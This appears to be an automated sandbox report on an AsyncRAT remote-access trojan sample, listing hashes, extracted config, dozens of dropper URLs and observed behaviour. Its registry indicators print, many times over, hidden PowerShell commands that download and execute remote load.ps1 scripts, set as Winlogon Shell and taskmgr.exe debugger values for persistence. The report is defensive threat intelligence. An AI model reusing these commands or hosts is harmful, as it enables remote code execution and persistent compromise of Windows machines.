asyncrat | dfe3bba68ffe9657b7707f7ea9e98b4aeea549f74826fa6955a5f3743a164e13

Analysis

max time kernel
844s
max time network
902s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/11/2026, 18:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AsyncClient.exe
Size 95KB
Sample261104-wpjcdsttcy
SHA256 dfe3bba68ffe9657b7707f7ea9e98b4aeea549f74826fa6955a5f3743a164e13
MD5 e45c2ffa71f939ba6c664d1d4fa5c1f0
SHA1 61ba8ac2c5f7d54c30d36862f08b3b728b58c22c
SHA512 881807f2dc218f9c641d27f0cc74d7fd322e4ab46e7a676328698ff46e31026d209e1664175968165de8251e2fabca0e32c4c57794c51108bc50d0e3a56b2c15
SSDEEP 1536:nijoK0C+OYxUg6GcFr59mq7AX1L1ybb1KwiSgW+ZB91d+xXFjzMacxJctvIBx:nijoK0C+JxUTGcR5Eq7Y1ybbXrAbmVji
TLSH
T1A8A308403BFA4225F3BF6FBCADB161454A76B9636922D65D0CA410CE0632781CE92F77
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware hackervn discovery execution asyncrat persistence rat spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://au881.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://au88.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://1au88.today/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://au88au88.bar/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://jacksclub.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://v99win.tv/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://abgstore.com.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://juad888.us/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://fun79i.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://e390a.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://mmoo.spot/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://luck888.beer/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://68gbcom.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://luckywin.ski/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://anxietyinchildren.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://88aa.games/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://congaden.cc/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://afribus.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://88aa.link/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://8kbet.property/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://au88.hot/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://fomo444slot.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://x88.cheap/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://68gbdoithuong.vip/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://8kbeta5.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://8kbetmb.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://toplikes.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://gaylife.gr.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://slotxo1122.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://luck8be.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://luckywin6668.net/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://8kbet1.cc/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://kent-casino-ury.buzz/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

HackerVN

Mutex

YghtLwGBcnvr

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies WinLogon for persistence 2 TTPs 34 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\""	reg.exe

Badlisted process makes network request 48 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	5844	powershell.exe
15	5844	powershell.exe
487	4544	powershell.exe
488	4544	powershell.exe
490	4736	powershell.exe
491	4736	powershell.exe
501	1568	powershell.exe
502	1568	powershell.exe
515	4040	powershell.exe
516	4040	powershell.exe
530	3116	powershell.exe
531	3116	powershell.exe
540	2164	powershell.exe
544	2164	powershell.exe
589	5744	powershell.exe
590	5744	powershell.exe
604	4760	powershell.exe
606	4760	powershell.exe
613	1912	powershell.exe
614	1912	powershell.exe
631	6068	powershell.exe
633	6068	powershell.exe
659	6176	powershell.exe
660	6176	powershell.exe
678	8132	powershell.exe
680	7960	powershell.exe
682	7960	powershell.exe
685	8132	powershell.exe
691	7488	powershell.exe
692	7488	powershell.exe
707	6904	powershell.exe
708	6904	powershell.exe
715	7444	powershell.exe
716	7444	powershell.exe
717	7444	powershell.exe
728	7800	powershell.exe
729	7800	powershell.exe
742	8056	powershell.exe
743	8056	powershell.exe
764	6404	powershell.exe
765	6404	powershell.exe
767	6404	powershell.exe
811	5388	powershell.exe
812	5388	powershell.exe
1106	3760	powershell.exe
1116	5020	powershell.exe
1127	7736	powershell.exe
1128	7736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 34 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2164	powershell.exe
7488	powershell.exe
4736	powershell.exe
5744	powershell.exe
4760	powershell.exe
6068	powershell.exe
6444	powershell.exe
7508	powershell.exe
8056	powershell.exe
2324	powershell.exe
6904	powershell.exe
1568	powershell.exe
664	powershell.exe
3116	powershell.exe
6404	powershell.exe
3760	powershell.exe
7736	powershell.exe
5844	powershell.exe
7960	powershell.exe
7940	powershell.exe
8132	powershell.exe
5600	powershell.exe
5864	powershell.exe
7444	powershell.exe
4544	powershell.exe
1912	powershell.exe
5388	powershell.exe
220	powershell.exe
6176	powershell.exe
7800	powershell.exe
1668	powershell.EXE
5020	powershell.exe
1568	powershell.exe
4040	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbeta5.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.hot/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbdoithuong.vip/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\""	reg.exe
